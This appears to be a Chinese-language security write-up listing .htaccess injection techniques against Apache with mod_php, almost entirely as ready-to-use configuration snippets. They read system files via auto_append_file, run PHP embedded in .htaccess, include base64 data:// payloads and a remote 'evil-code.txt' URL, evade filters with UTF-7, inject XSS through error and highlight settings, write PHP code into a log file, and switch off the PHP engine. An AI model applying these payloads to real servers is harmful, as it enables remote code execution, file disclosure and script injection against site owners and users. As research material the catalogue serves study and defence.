情境
在Apache / mod_php的安装程序中,攻击者能够注入.htaccess(或php.ini或apache配置)。注入目录中设置了AllowOverride Options(或AllowOverride All,这也是很常见的)。
index.php :(空)
.htaccess:
php_value auto_append_file /etc/hostsindex.php :(空)
.htaccess:
php_value auto_append_file .htaccess #<?php phpinfo();index.php :(空)
.htaccess:
php_flag allow_url_include 1 php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B #php_value auto_append_file https://sektioneins.de/evil-code.txtindex.php :(空)
.htaccess:
php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7" php_value auto_append_file .htaccess #+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADsindex.php :(产生错误消息)
<?php include('foo');.htaccess:
php_flag display_errors 1 php_flag html_errors 1 php_value docref_root "'><script>alert(1);</script>"index.php:
<?php include('foo');.htaccess:
php_flag display_errors 1 php_flag html_errors 1 php_value docref_root "x" php_value docref_ext "<script>alert(1);</script>"假设:phps源处理程序已激活。
<FilesMatch ".+\.phps$"> SetHandler application/x-httpd-php-source Order Allow,Deny Allow from all </FilesMatch>index.phps:
<?php test(); // comment ?> text.htaccess:
php_value highlight.comment '"><script>alert(1);</script>'index.php:
<?php highlight_file(__FILE__); // comment.htaccess:
php_value highlight.comment '"><script>alert(1);</script>'在此示例中,PHP在日志消息中正确编码了HTML实体。注入失败。
index.php:
<?php include('foo');.htaccess:
php_value error_log /var/www/ex4a/foo.php php_value include_path "<?php phpinfo(); __halt_compiler();"index.php :(空)
.htaccess:
php_value error_log /var/www/ipc/ex4b/foo.php php_value auto_prepend_file "<?php phpinfo(); __halt_compiler();"index.php :(空)
.htaccess:
php_value error_log /var/www/ipc/ex4c/foo.php #---- "<?php phpinfo(); __halt_compiler();" in UTF-7: php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs" php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7"index.php:
<?php some_code();.htaccess:
php_flag engine 0